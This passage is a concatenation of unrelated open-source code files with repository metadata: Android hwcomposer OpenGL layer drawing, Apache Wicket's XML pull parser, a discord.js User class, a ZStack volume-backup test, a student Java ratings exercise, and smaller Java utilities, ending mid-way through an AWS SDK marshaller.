mtxBeforeFlipV[16]; mtxMul(mtxBeforeFlipV, crop, xform); // We expects the top of its window textures to be at a Y // coordinate of 0, so SurfaceTexture must behave the same way. We don't // want to expose this to applications, however, so we must add an // additional vertical flip to the transform after all the other transforms. mtxMul(mCurrentTransformMatrix, mtxFlipV, mtxBeforeFlipV); } bool Layer::prepareDrawData() { sp<GraphicBuffer>& buf(mGFXBuffer); GLfloat left = GLfloat(mRect->left) / GLfloat(mRect->right); GLfloat top = GLfloat(mRect->top) / GLfloat(mRect->bottom); GLfloat right = GLfloat(mRect->right) / GLfloat(mRect->right); GLfloat bottom = GLfloat(mRect->bottom) / GLfloat(mRect->bottom); /* * The video layer height maybe loss some accuracy * when GPU transform float number into int number. * Here, just Compensate for the loss. * */ int format = buf->getPixelFormat(); if ((mTransform == 0 ) && (format == HAL_PIXEL_FORMAT_YCbCr_420_SP || format == HAL_PIXEL_FORMAT_YCrCb_420_SP || format == HAL_PIXEL_FORMAT_YV12)) { float height = float(mRect->bottom - mRect->top); float pixelOffset = 1.0 / height; top -= pixelOffset; bottom += pixelOffset; } /* * Some RGB layer is cropped, it will cause RGB layer display abnormal. * Here, just correct the RGB layer to right region. * */ if ((mRect->top > 0) && (format == HAL_PIXEL_FORMAT_RGBA_8888 || format == HAL_PIXEL_FORMAT_RGBX_8888 || format == HAL_PIXEL_FORMAT_RGB_565)) { float pixelOffset = 1.0 / float(mRect->bottom); top -= float(mRect->top) * pixelOffset; } texCoord[0].u = texCoord[1].u = left; texCoord[0].v = texCoord[3].v = top; texCoord[1].v = texCoord[2].v = bottom; texCoord[2].u = texCoord[3].u = right; for (int i = 0; i < 4; i++) { texCoord[i].v = 1.0f - texCoord[i].v; } /* * Caculate the vertex coordinate * */ vertices[0] = (GLfloat)mRV->left; vertices[1] = (GLfloat)mRV->top; vertices[2] = (GLfloat)mRV->left; vertices[3] = (GLfloat)mRV->bottom; vertices[4] = (GLfloat)mRV->right; vertices[5] = (GLfloat)mRV->bottom; vertices[6] = (GLfloat)mRV->right; vertices[7] = (GLfloat)mRV->top; unsigned int fb_height = mComposer->getDisplayPlane()->getHeight(); vertices[1] = (GLfloat)fb_height - vertices[1]; vertices[3] = (GLfloat)fb_height - vertices[3]; vertices[5] = (GLfloat)fb_height - vertices[5]; vertices[7] = (GLfloat)fb_height - vertices[7]; /* * Here, some region from SurfacFlinger have exceeded the screen * size. So we remove these abnormal region, it will reduce some * garbage when rotating the phone. * Temporary disable this parameters check * */ /*if (mRV->left < 0 || mRV->left > mFBWidth || mRV->right == mRV->bottom || mRV->top < 0 || mRV->top > mFBHeight || mRV->right > mFBWidth || mRV->bottom > mFBHeight) { mSkipFlag = true; memset(vertices, 0, sizeof(vertices)); }*/ return true; } int Layer::draw() { int status = -1; /* mSkipFlag = false; */ prepareDrawData(); /* if (mSkipFlag) { ALOGD("Skip this frame"); mSkipFlag = false; return 0; }*/ glTexParameterx(GL_TEXTURE_EXTERNAL_OES, GL_TEXTURE_MAG_FILTER, GL_LINEAR); glTexParameterx(GL_TEXTURE_EXTERNAL_OES, GL_TEXTURE_MIN_FILTER, GL_LINEAR); glTexParameterx(GL_TEXTURE_EXTERNAL_OES, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE); glTexParameterx(GL_TEXTURE_EXTERNAL_OES, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE); computeTransformMatrix(); glMatrixMode(GL_TEXTURE); glLoadMatrixf(mCurrentTransformMatrix); glMatrixMode(GL_MODELVIEW); glLoadIdentity(); glDisable(GL_TEXTURE_2D); glEnable(GL_TEXTURE_EXTERNAL_OES); #ifdef PRIMARYPLANE_USE_RGB565 glEnable(GL_DITHER); #endif /* * Start call openGLES Draw list here * By default, we use Premultiplied Alpha * */ GLenum src = mPremultipliedAlpha ? GL_ONE : GL_SRC_ALPHA; //if (mAlpha < 0xFF) //{ // const GLfloat alpha = (GLfloat)mAlpha * (1.0f/255.0f); // if (mPremultipliedAlpha) // { // glColor4f(alpha, alpha, alpha, alpha); // } // else // { // glColor4f(1, 1, 1, alpha); // } // glEnable(GL_BLEND); // glBlendFunc(src, GL_ONE_MINUS_SRC_ALPHA); // glTexEnvx(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE, GL_MODULATE); //} //else { glColor4f(1, 1, 1, 1); glTexEnvx(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE, GL_REPLACE); glEnable(GL_BLEND); glBlendFunc(src, GL_ONE_MINUS_SRC_ALPHA); } glEnableClientState(GL_TEXTURE_COORD_ARRAY); glEnableClientState(GL_VERTEX_ARRAY); glVertexPointer(2, GL_FLOAT, 0, vertices); glTexCoordPointer(2, GL_FLOAT, 0, texCoord); GL_CHECK(glDrawArrays(GL_TRIANGLE_FAN, 0, mNumVertices)); glDisableClientState(GL_TEXTURE_COORD_ARRAY); glDisable(GL_BLEND); #ifdef PRIMARYPLANE_USE_RGB565 glDisable(GL_DITHER); #endif glDisable(GL_TEXTURE_EXTERNAL_OES); glDisable(GL_TEXTURE_2D); status = 0; return status; } };
simokb96/core33g-Device-Tree
libs/hwcomposer/OverlayComposer/Layer.cpp
C++
apache-2.0
15,385
//¶àÏ̵߳¥Àýģʽ class Singleton { private static Singleton instance; //synchronized¼ÓËøÍ¬²½»á½µµÍЧÂÊ,ÕâÀïÏÈÅжÏÊÇ·ñΪ¿Õ //²»Îª¿ÕÔò²»ÐèÒª¼ÓËø,Ìá¸ß³ÌÐòЧÂÊ //²¹È« ¹¹ÔìÆ÷ private Singleton(){} public static Singleton getInstance (){ //²¹È« ´´½¨ÊµÀý if(instance ==null){ synchronized(Singleton.class){ if(instance ==null){ instance = new Singleton(); } } } return instance; } }
XINCGer/DesignPattern
单例模式(Singleton)/多线程/Singleton.java
Java
apache-2.0
491
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.wicket.markup.parser; import java.io.BufferedInputStream; import java.io.ByteArrayInputStream; import java.io.IOException; import java.io.InputStream; import java.text.ParseException; import org.apache.wicket.markup.parser.XmlTag.TagType; import org.apache.wicket.markup.parser.XmlTag.TextSegment; import org.apache.wicket.util.io.FullyBufferedReader; import org.apache.wicket.util.io.IOUtils; import org.apache.wicket.util.io.XmlReader; import org.apache.wicket.util.lang.Args; import org.apache.wicket.util.parse.metapattern.parsers.TagNameParser; import org.apache.wicket.util.parse.metapattern.parsers.VariableAssignmentParser; import org.apache.wicket.util.resource.ResourceStreamNotFoundException; import org.apache.wicket.util.string.Strings; /** * A fairly shallow markup pull parser which parses a markup string of a given type of markup (for * example, html, xml, vxml or wml) into ComponentTag and RawMarkup tokens. * * @author Jonathan Locke * @author Juergen Donnerstag */ public final class XmlPullParser implements IXmlPullParser { /** */ public static final String STYLE = "style"; /** */ public static final String SCRIPT = "script"; /** * Reads the xml data from an input stream and converts the chars according to its encoding * (<?xml ... encoding="..." ?>) */ private XmlReader xmlReader; /** * A XML independent reader which loads the whole source data into memory and which provides * convenience methods to access the data. */ private FullyBufferedReader input; /** temporary variable which will hold the name of the closing tag. */ private String skipUntilText; /** The last substring selected from the input */ private CharSequence lastText; /** Everything in between &lt;!DOCTYPE ... &gt; */ private CharSequence doctype; /** The type of what is in lastText */ private HttpTagType lastType = HttpTagType.NOT_INITIALIZED; /** The last tag found */ private XmlTag lastTag; /** * Construct. */ public XmlPullParser() { } public final String getEncoding() { return xmlReader.getEncoding(); } public final CharSequence getDoctype() { return doctype; } public final CharSequence getInputFromPositionMarker(final int toPos) { return input.getSubstring(toPos); } public final CharSequence getInput(final int fromPos, final int toPos) { return input.getSubstring(fromPos, toPos); } /** * Whatever will be in between the current index and the closing tag, will be ignored (and thus * treated as raw markup (text). This is useful for tags like 'script'. * * @throws ParseException */ private final void skipUntil() throws ParseException { // this is a tag with non-XHTML text as body - skip this until the // skipUntilText is found. final int startIndex = input.getPosition(); final int tagNameLen = skipUntilText.length(); int pos = input.getPosition() - 1; String endTagText = null; int lastPos = 0; while (!skipUntilText.equalsIgnoreCase(endTagText)) { pos = input.find("</", pos + 1); if ((pos == -1) || ((pos + (tagNameLen + 2)) >= input.size())) { throw new ParseException( skipUntilText + " tag not closed" + getLineAndColumnText(), startIndex); } lastPos = pos + 2; endTagText = input.getSubstring(lastPos, lastPos + tagNameLen).toString(); } input.setPosition(pos); lastText = input.getSubstring(startIndex, pos); lastType = HttpTagType.BODY; // Check that the tag is properly closed lastPos = input.find('>', lastPos + tagNameLen); if (lastPos == -1) { throw new ParseException(skipUntilText + " tag not closed" + getLineAndColumnText(), startIndex); } // Reset the state variable skipUntilText = null; } /** * * @return line and column number */ private String getLineAndColumnText() { return " (line " + input.getLineNumber() + ", column " + input.getColumnNumber() + ")"; } /** * @return XXX * @throws ParseException */ public final HttpTagType next() throws ParseException { // Reached end of markup file? if (input.getPosition() >= input.size()) { return HttpTagType.NOT_INITIALIZED; } if (skipUntilText != null) { skipUntil(); return lastType; } // Any more tags in the markup? final int openBracketIndex = input.find('<'); // Tag or Body? if (input.charAt(input.getPosition()) != '<') { // It's a BODY if (openBracketIndex == -1) { // There is no next matching tag. lastText = input.getSubstring(-1); input.setPosition(input.size()); lastType = HttpTagType.BODY; return lastType; } lastText = input.getSubstring(openBracketIndex); input.setPosition(openBracketIndex); lastType = HttpTagType.BODY; return lastType; } // Determine the line number input.countLinesTo(openBracketIndex); // Get index of closing tag and advance past the tag int closeBracketIndex = -1; if (openBracketIndex != -1 && openBracketIndex < input.size() - 1) { char nextChar = input.charAt(openBracketIndex + 1); if ((nextChar == '!') || (nextChar == '?')) closeBracketIndex = input.find('>', openBracketIndex); else closeBracketIndex = input.findOutOfQuotes('>', openBracketIndex); } if (closeBracketIndex == -1) { throw new ParseException("No matching close bracket at" + getLineAndColumnText(), input.getPosition()); } // Get the complete tag text lastText = input.getSubstring(openBracketIndex, closeBracketIndex + 1); // Get the tagtext between open and close brackets String tagText = lastText.subSequence(1, lastText.length() - 1).toString(); if (tagText.length() == 0) { throw new ParseException("Found empty tag: '<>' at" + getLineAndColumnText(), input.getPosition()); } // Type of the tag, to be determined next final TagType type; // If the tag ends in '/', it's a "simple" tag like <foo/> if (tagText.endsWith("/")) { type = TagType.OPEN_CLOSE; tagText = tagText.substring(0, tagText.length() - 1); } else if (tagText.startsWith("/")) { // The tag text starts with a '/', it's a simple close tag type = TagType.CLOSE; tagText = tagText.substring(1); } else { // It must be an open tag type = TagType.OPEN; // If open tag and starts with "s" like "script" or "style", than ... if ((tagText.length() > STYLE.length()) && ((tagText.charAt(0) == 's') || (tagText.charAt(0) == 'S'))) { final String lowerCase = tagText.substring(0, 6).toLowerCase(); if (lowerCase.startsWith(SCRIPT)) { // prepare to skip everything between the open and close tag skipUntilText = SCRIPT; } else if (lowerCase.startsWith(STYLE)) { // prepare to skip everything between the open and close tag skipUntilText = STYLE; } } } // Handle special tags like <!-- and <![CDATA ... final char firstChar = tagText.charAt(0); if ((firstChar == '!') || (firstChar == '?')) { specialTagHandling(tagText, openBracketIndex, closeBracketIndex); input.countLinesTo(openBracketIndex); TextSegment text = new TextSegment(lastText, openBracketIndex, input.getLineNumber(), input.getColumnNumber()); lastTag = new XmlTag(text, type); return lastType; } TextSegment text = new TextSegment(lastText, openBracketIndex, input.getLineNumber(), input.getColumnNumber()); XmlTag tag = new XmlTag(text, type); lastTag = tag; // Parse the tag text and populate tag attributes if (parseTagText(tag, tagText)) { // Move to position after the tag input.setPosition(closeBracketIndex + 1); lastType = HttpTagType.TAG; return lastType; } else { throw new ParseException("Malformed tag" + getLineAndColumnText(), openBracketIndex); } } /** * Handle special tags like <!-- --> or <![CDATA[..]]> or <?xml> * * @param tagText * @param openBracketIndex * @param closeBracketIndex * @throws ParseException */ protected void specialTagHandling(String tagText, final int openBracketIndex, int closeBracketIndex) throws ParseException { // Handle comments if (tagText.startsWith("!--")) { // downlevel-revealed conditional comments e.g.: <!--[if (gt IE9)|!(IE)]><!--> if (tagText.contains("![endif]--")) { lastType = HttpTagType.CONDITIONAL_COMMENT_ENDIF; // Move to position after the tag input.setPosition(closeBracketIndex + 1); return; } // Conditional comment? E.g. // "<!--[if IE]><a href='test.html'>my link</a><![endif]-->" if (tagText.startsWith("!--[if ") && tagText.endsWith("]")) { int pos = input.find("]-->", openBracketIndex + 1); if (pos == -1) { throw new ParseException("Unclosed conditional comment beginning at" + getLineAndColumnText(), openBracketIndex); } pos += 4; lastText = input.getSubstring(openBracketIndex, pos); // Actually it is no longer a comment. It is now // up to the browser to select the section appropriate. input.setPosition(closeBracketIndex + 1); lastType = HttpTagType.CONDITIONAL_COMMENT; } else { // Normal comment section. // Skip ahead to "-->". Note that you can not simply test for // tagText.endsWith("--") as the comment might contain a '>' // inside. int pos = input.find("-->", openBracketIndex + 1); if (pos == -1) { throw new ParseException("Unclosed comment beginning at" + getLineAndColumnText(), openBracketIndex); } pos += 3; lastText = input.getSubstring(openBracketIndex, pos); lastType = HttpTagType.COMMENT; input.setPosition(pos); } return; } // The closing tag of a conditional comment, e.g. // "<!--[if IE]><a href='test.html'>my link</a><![endif]--> // and also <!--<![endif]-->" if (tagText.equals("![endif]--")) { lastType = HttpTagType.CONDITIONAL_COMMENT_ENDIF; input.setPosition(closeBracketIndex + 1); return; } // CDATA sections might contain "<" which is not part of an XML tag. // Make sure escaped "<" are treated right if (tagText.startsWith("![")) { final String startText = (tagText.length() <= 8 ? tagText : tagText.substring(0, 8)); if (startText.toUpperCase().equals("![CDATA[")) { int pos1 = openBracketIndex; do { // Get index of closing tag and advance past the tag closeBracketIndex = findChar('>', pos1); if (closeBracketIndex == -1) { throw new ParseException("No matching close bracket at" + getLineAndColumnText(), input.getPosition()); } // Get the tagtext between open and close brackets tagText = input.getSubstring(openBracketIndex + 1, closeBracketIndex) .toString(); pos1 = closeBracketIndex + 1; } while (tagText.endsWith("]]") == false); // Move to position after the tag input.setPosition(closeBracketIndex + 1); lastText = tagText; lastType = HttpTagType.CDATA; return; } } if (tagText.charAt(0) == '?') { lastType = HttpTagType.PROCESSING_INSTRUCTION; // Move to position after the tag input.setPosition(closeBracketIndex + 1); return; } if (tagText.startsWith("!DOCTYPE")) { lastType = HttpTagType.DOCTYPE; // Get the tagtext between open and close brackets doctype = input.getSubstring(openBracketIndex + 1, closeBracketIndex); // Move to position after the tag input.setPosition(closeBracketIndex + 1); return; } // Move to position after the tag lastType = HttpTagType.SPECIAL_TAG; input.setPosition(closeBracketIndex + 1); } /** * @return MarkupElement */ public final XmlTag getElement() { return lastTag; } /** * @return The xml string from the last element */ public final CharSequence getString() { return lastText; } /** * @return The next XML tag * @throws ParseException */ public final XmlTag nextTag() throws ParseException { while (next() != HttpTagType.NOT_INITIALIZED) { switch (lastType) { case TAG : return lastTag; case BODY : break; case COMMENT : break; case CONDITIONAL_COMMENT : break; case CDATA : break; case PROCESSING_INSTRUCTION : break; case SPECIAL_TAG : break; } } return null; } /** * Find the char but ignore any text within ".." and '..' * * @param ch * The character to search * @param startIndex * Start index * @return -1 if not found, else the index */ private int findChar(final char ch, int startIndex) { char quote = 0; for (; startIndex < input.size(); startIndex++) { final char charAt = input.charAt(startIndex); if (quote != 0) { if (quote == charAt) { quote = 0; } } else if ((charAt == '"') || (charAt == '\'')) { quote = charAt; } else if (charAt == ch) { return startIndex; } } return -1; } /** * Parse the given string. * <p> * Note: xml character encoding is NOT applied. It is assumed the input provided does have the * correct encoding already. * * @param string * The input string * @throws IOException * Error while reading the resource * @throws ResourceStreamNotFoundException * Resource not found */ public void parse(final CharSequence string) throws IOException, ResourceStreamNotFoundException { parse(new ByteArrayInputStream(string.toString().getBytes()), null); } /** * Reads and parses markup from an input stream, using UTF-8 encoding by default when not * specified in XML declaration. * * @param in * The input stream to read and parse * @throws IOException * @throws ResourceStreamNotFoundException */ public void parse(final InputStream in) throws IOException, ResourceStreamNotFoundException { // When XML declaration does not specify encoding, it defaults to UTF-8 parse(in, "UTF-8"); } /** * Reads and parses markup from an input stream * * @param inputStream * The input stream to read and parse * @param encoding * The default character encoding of the input * @throws IOException */ public void parse(final InputStream inputStream, final String encoding) throws IOException { Args.notNull(inputStream, "inputStream"); try { xmlReader = new XmlReader(new BufferedInputStream(inputStream, 4000), encoding); input = new FullyBufferedReader(xmlReader); } finally { IOUtils.closeQuietly(inputStream); IOUtils.closeQuietly(xmlReader); } } public final void setPositionMarker() { input.setPositionMarker(input.getPosition()); } public final void setPositionMarker(final int pos) { input.setPositionMarker(pos); } @Override public String toString() { return input.toString(); } /** * Parses the text between tags. For example, "a href=foo.html". * * @param tag * @param tagText * The text between tags * @return false in case of an error * @throws ParseException */ private boolean parseTagText(final XmlTag tag, final String tagText) throws ParseException { // Get the length of the tagtext final int tagTextLength = tagText.length(); // If we match tagname pattern final TagNameParser tagnameParser = new TagNameParser(tagText); if (tagnameParser.matcher().lookingAt()) { // Extract the tag from the pattern matcher tag.name = tagnameParser.getName(); tag.namespace = tagnameParser.getNamespace(); // Are we at the end? Then there are no attributes, so we just // return the tag int pos = tagnameParser.matcher().end(0); if (pos == tagTextLength) { return true; } // Extract attributes final VariableAssignmentParser attributeParser = new VariableAssignmentParser(tagText); while (attributeParser.matcher().find(pos)) { // Get key and value using attribute pattern String value = attributeParser.getValue(); // In case like <html xmlns:wicket> will the value be null if (value == null) { value = ""; } // Set new position to end of attribute pos = attributeParser.matcher().end(0); // Chop off double quotes or single quotes if (value.startsWith("\"") || value.startsWith("\'")) { value = value.substring(1, value.length() - 1); } // Trim trailing whitespace value = value.trim(); // Unescape value = Strings.unescapeMarkup(value).toString(); // Get key final String key = attributeParser.getKey(); // Put the attribute in the attributes hash if (null != tag.getAttributes().put(key, value)) { throw new ParseException("Same attribute found twice: " + key + getLineAndColumnText(), input.getPosition()); } // The input has to match exactly (no left over junk after // attributes) if (pos == tagTextLength) { return true; } } return true; } return false; } }
afiantara/apache-wicket-1.5.7
src/wicket-core/src/main/java/org/apache/wicket/markup/parser/XmlPullParser.java
Java
apache-2.0
17,718
/* Copyright (c) The m-m-m Team, Licensed under the Apache License, Version 2.0 * http://www.apache.org/licenses/LICENSE-2.0 */ package net.sf.mmm.ui.toolkit.api.view; import net.sf.mmm.client.ui.api.attribute.AttributeWriteEnabled; import net.sf.mmm.client.ui.api.attribute.AttributeWriteSizeInPixel; import net.sf.mmm.client.ui.api.attribute.AttributeWriteTooltip; import net.sf.mmm.client.ui.api.attribute.AttributeWriteVisible; /** * This is the interface for a UI component. Such object is either a * {@link net.sf.mmm.ui.toolkit.api.view.widget.UiWidget widget} or a * {@link net.sf.mmm.ui.toolkit.api.view.composite.UiComposite composite} * * @author Joerg Hohwiller (hohwille at users.sourceforge.net) * @since 1.0.0 */ public interface UiElement extends UiNode, AttributeWriteVisible, AttributeWriteTooltip, AttributeWriteEnabled, AttributeWriteSizeInPixel { }
m-m-m/multimedia
mmm-uit/mmm-uit-api/src/main/java/net/sf/mmm/ui/toolkit/api/view/UiElement.java
Java
apache-2.0
886
# -*- coding:utf-8 -*- import zstackwoodpecker.test_util as test_util import zstackwoodpecker.test_lib as test_lib volume = test_lib.lib_get_specific_stub('e2e_mini/volume', 'volume') volume_ops = None vm_ops = None volume_name = 'volume-' + volume.get_time_postfix() backup_name = 'backup-' + volume.get_time_postfix() def test(): global volume_ops volume_ops = volume.VOLUME() vm = test_lib.lib_get_specific_stub(suite_name='e2e_mini/vm', specific_name='vm') vm_ops = vm.VM(uri=volume_ops.uri, initialized=True) vm_ops.create_vm() volume_ops.create_volume(volume_name) volume_ops.volume_attach_to_vm(vm_ops.vm_name) volume_ops.create_backup(volume_name, 'volume', backup_name) vm_ops.vm_ops(vm_ops.vm_name, action='stop') volume_ops.restore_backup(volume_name, 'volume', backup_name) volume_ops.delete_backup(volume_name, 'volume', backup_name) volume_ops.check_browser_console_log() test_util.test_pass('Test Volume Create, Restore and Delete Backups Successful') def env_recover(): global volume_ops vm_ops.expunge_vm() volume_ops.expunge_volume(volume_name) volume_ops.close() #Will be called only if exception happens in test(). def error_cleanup(): global volume_ops try: vm_ops.expunge_vm() volume_ops.expunge_volume(volume_name) volume_ops.close() except: pass
zstackio/zstack-woodpecker
integrationtest/vm/e2e_mini/volume/test_volume_backup.py
Python
apache-2.0
1,389
/* * Copyright (c) 2020 - Manifold Systems LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package manifold.api.util; import com.sun.tools.javac.processing.JavacProcessingEnvironment; import com.sun.tools.javac.util.Context; import manifold.internal.javac.JavacPlugin; import javax.lang.model.SourceVersion; public class JavacUtil { public static SourceVersion getSourceVersion() { Context ctx = JavacPlugin.instance().getContext(); JavacProcessingEnvironment jpe = JavacProcessingEnvironment.instance( ctx ); return jpe.getSourceVersion(); } public static int getSourceNumber() { return getSourceVersion().ordinal(); } }
manifold-systems/manifold
manifold-core-parent/manifold/src/main/java/manifold/api/util/JavacUtil.java
Java
apache-2.0
1,176
import java.util.Scanner; /** * implement average movie ratings method * * 360-420-DW Intro to Java * @author PMCampbell * @version today **/ public class MovieRatings { public static void main(String[] args) { double average; int ratings[][] = { {4,6,2,5}, {7,9,4}, {6,9,3,7}, {9,5,6,1,4}}; average = averageRatings(25, ratings); System.out.println("reviewer 25: " + average); average = averageRatings(-5, ratings); System.out.println("reviewer -5: " + average); average = averageRatings(1, ratings); System.out.println("reviewer 1: " + average); // over achiever show all reviewers for (int i = 0;i<ratings.length;i++) { System.out.printf("\nreviewer %d ratings %.2f ", i, averageRatings(i, ratings)); } } //main() /** * method to calculate average ratings, given a * movie reviewer * * @param int reviewer reviewer no (array index) * @param int [][] ratings array of review values * @return int average of all reviewers \ * or 0 if errir **/ public static double averageRatings(int reviewer, int ratings[][]) { double total=0; if (reviewer >= ratings.length || reviewer < 0) { // number of rows/reviewers // error condition return 0; } for (int movie=0; movie <ratings[reviewer].length; movie++) { // no of cols total += ratings[reviewer][movie]; } return total/ratings[reviewer].length; } // averageRatings() } // class
campbe13/JavaSourceSamples360
labs/lab8/MovieRatings.java
Java
apache-2.0
1,661
const TextBasedChannel = require('./interfaces/TextBasedChannel'); const Constants = require('../util/Constants'); const { Presence } = require('./Presence'); const UserProfile = require('./UserProfile'); const Snowflake = require('../util/Snowflake'); const { Error } = require('../errors'); /** * Represents a user on Discord. * @implements {TextBasedChannel} */ class User { constructor(client, data) { /** * The client that created the instance of the user * @name User#client * @type {Client} * @readonly */ Object.defineProperty(this, 'client', { value: client }); if (data) this.setup(data); } setup(data) { /** * The ID of the user * @type {Snowflake} */ this.id = data.id; /** * The username of the user * @type {string} */ this.username = data.username; /** * A discriminator based on username for the user * @type {string} */ this.discriminator = data.discriminator; /** * The ID of the user's avatar * @type {string} */ this.avatar = data.avatar; /** * Whether or not the user is a bot * @type {boolean} */ this.bot = Boolean(data.bot); /** * The ID of the last message sent by the user, if one was sent * @type {?Snowflake} */ this.lastMessageID = null; /** * The Message object of the last message sent by the user, if one was sent * @type {?Message} */ this.lastMessage = null; } patch(data) { for (const prop of ['id', 'username', 'discriminator', 'avatar', 'bot']) { if (typeof data[prop] !== 'undefined') this[prop] = data[prop]; } if (data.token) this.client.token = data.token; } /** * The timestamp the user was created at * @type {number} * @readonly */ get createdTimestamp() { return Snowflake.deconstruct(this.id).timestamp; } /** * The time the user was created * @type {Date} * @readonly */ get createdAt() { return new Date(this.createdTimestamp); } /** * The presence of this user * @type {Presence} * @readonly */ get presence() { if (this.client.presences.has(this.id)) return this.client.presences.get(this.id); for (const guild of this.client.guilds.values()) { if (guild.presences.has(this.id)) return guild.presences.get(this.id); } return new Presence(); } /** * A link to the user's avatar * @param {Object} [options={}] Options for the avatar url * @param {string} [options.format='webp'] One of `webp`, `png`, `jpg`, `gif`. If no format is provided, * it will be `gif` for animated avatars or otherwise `webp` * @param {number} [options.size=128] One of `128`, `256`, `512`, `1024`, `2048` * @returns {?string} */ avatarURL({ format, size } = {}) { if (!this.avatar) return null; return Constants.Endpoints.CDN(this.client.options.http.cdn).Avatar(this.id, this.avatar, format, size); } /** * A link to the user's default avatar * @type {string} * @readonly */ get defaultAvatarURL() { return Constants.Endpoints.CDN(this.client.options.http.cdn).DefaultAvatar(this.discriminator % 5); } /** * A link to the user's avatar if they have one. Otherwise a link to their default avatar will be returned * @param {Object} [options={}] Options for the avatar url * @param {string} [options.format='webp'] One of `webp`, `png`, `jpg`, `gif`. If no format is provided, * it will be `gif` for animated avatars or otherwise `webp` * @param {number} [options.size=128] One of `128`, '256', `512`, `1024`, `2048` * @returns {string} */ displayAvatarURL(options) { return this.avatarURL(options) || this.defaultAvatarURL; } /** * The Discord "tag" for this user * @type {string} * @readonly */ get tag() { return `${this.username}#${this.discriminator}`; } /** * The note that is set for the user * <warn>This is only available when using a user account.</warn> * @type {?string} * @readonly */ get note() { return this.client.user.notes.get(this.id) || null; } /** * Check whether the user is typing in a channel. * @param {ChannelResolvable} channel The channel to check in * @returns {boolean} */ typingIn(channel) { channel = this.client.resolver.resolveChannel(channel); return channel._typing.has(this.id); } /** * Get the time that the user started typing. * @param {ChannelResolvable} channel The channel to get the time in * @returns {?Date} */ typingSinceIn(channel) { channel = this.client.resolver.resolveChannel(channel); return channel._typing.has(this.id) ? new Date(channel._typing.get(this.id).since) : null; } /** * Get the amount of time the user has been typing in a channel for (in milliseconds), or -1 if they're not typing. * @param {ChannelResolvable} channel The channel to get the time in * @returns {number} */ typingDurationIn(channel) { channel = this.client.resolver.resolveChannel(channel); return channel._typing.has(this.id) ? channel._typing.get(this.id).elapsedTime : -1; } /** * The DM between the client's user and this user * @type {?DMChannel} * @readonly */ get dmChannel() { return this.client.channels.filter(c => c.type === 'dm').find(c => c.recipient.id === this.id); } /** * Creates a DM channel between the client and the user. * @returns {Promise<DMChannel>} */ createDM() { if (this.dmChannel) return Promise.resolve(this.dmChannel); return this.client.api.users(this.client.user.id).channels.post({ data: { recipient_id: this.id, } }) .then(data => this.client.actions.ChannelCreate.handle(data).channel); } /** * Deletes a DM channel (if one exists) between the client and the user. Resolves with the channel if successful. * @returns {Promise<DMChannel>} */ deleteDM() { if (!this.dmChannel) return Promise.reject(new Error('USER_NO_DMCHANNEL')); return this.client.api.channels(this.dmChannel.id).delete() .then(data => this.client.actions.ChannelDelete.handle(data).channel); } /** * Get the profile of the user. * <warn>This is only available when using a user account.</warn> * @returns {Promise<UserProfile>} */ fetchProfile() { return this.client.api.users(this.id).profile.get().then(data => new UserProfile(this, data)); } /** * Sets a note for the user. * <warn>This is only available when using a user account.</warn> * @param {string} note The note to set for the user * @returns {Promise<User>} */ setNote(note) { return this.client.api.users('@me').notes(this.id).put({ data: { note } }) .then(() => this); } /** * Checks if the user is equal to another. It compares ID, username, discriminator, avatar, and bot flags. * It is recommended to compare equality by using `user.id === user2.id` unless you want to compare all properties. * @param {User} user User to compare with * @returns {boolean} */ equals(user) { let equal = user && this.id === user.id && this.username === user.username && this.discriminator === user.discriminator && this.avatar === user.avatar && this.bot === Boolean(user.bot); return equal; } /** * When concatenated with a string, this automatically concatenates the user's mention instead of the User object. * @returns {string} * @example * // logs: Hello from <@123456789>! * console.log(`Hello from ${user}!`); */ toString() { return `<@${this.id}>`; } // These are here only for documentation purposes - they are implemented by TextBasedChannel /* eslint-disable no-empty-function */ send() {} } TextBasedChannel.applyToClass(User); module.exports = User;
zajrik/discord.js
src/structures/User.js
JavaScript
apache-2.0
7,871
/* * Copyright 2012-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with * the License. A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR * CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions * and limitations under the License. */ package com.amazonaws.services.elasticfilesystem.model.transform; import javax.annotation.Generated; import com.amazonaws.SdkClientException; import com.amazonaws.Request; import com.amazonaws.http.HttpMethodName; import com.amazonaws.services.elasticfilesystem.model.*; import com.amazonaws.transform.Marshaller; import com.amazonaws.protocol.*; import com.amazonaws.annotation.SdkInternalApi; /** * ModifyMountTargetSecurityGroupsRequest Marshaller */ @Generated("com.amazonaws:aws-java-sdk-code-generator") @SdkInternalApi public class ModifyMountTargetSecurityGroupsRequestProtocolMarshaller implements Marshaller<Request<ModifyMountTargetSecurityGroupsRequest>, ModifyMountTargetSecurityGroupsRequest> { private static final OperationInfo SDK_OPERATION_BINDING = OperationInfo.builder().protocol(Protocol.REST_JSON) .requestUri("/2015-02-01/mount-targets/{MountTargetId}/security-groups").httpMethodName(HttpMethodName.PUT).hasExplicitPayloadMember(false) .hasPayloadMembers(true).serviceName("AmazonElasticFileSystem").build(); private final com.amazonaws.protocol.json.SdkJsonProtocolFactory protocolFactory; public ModifyMountTargetSecurityGroupsRequestProtocolMarshaller(com.amazonaws.protocol.json.SdkJsonProtocolFactory protocolFactory) { this.protocolFactory = protocolFactory; } public 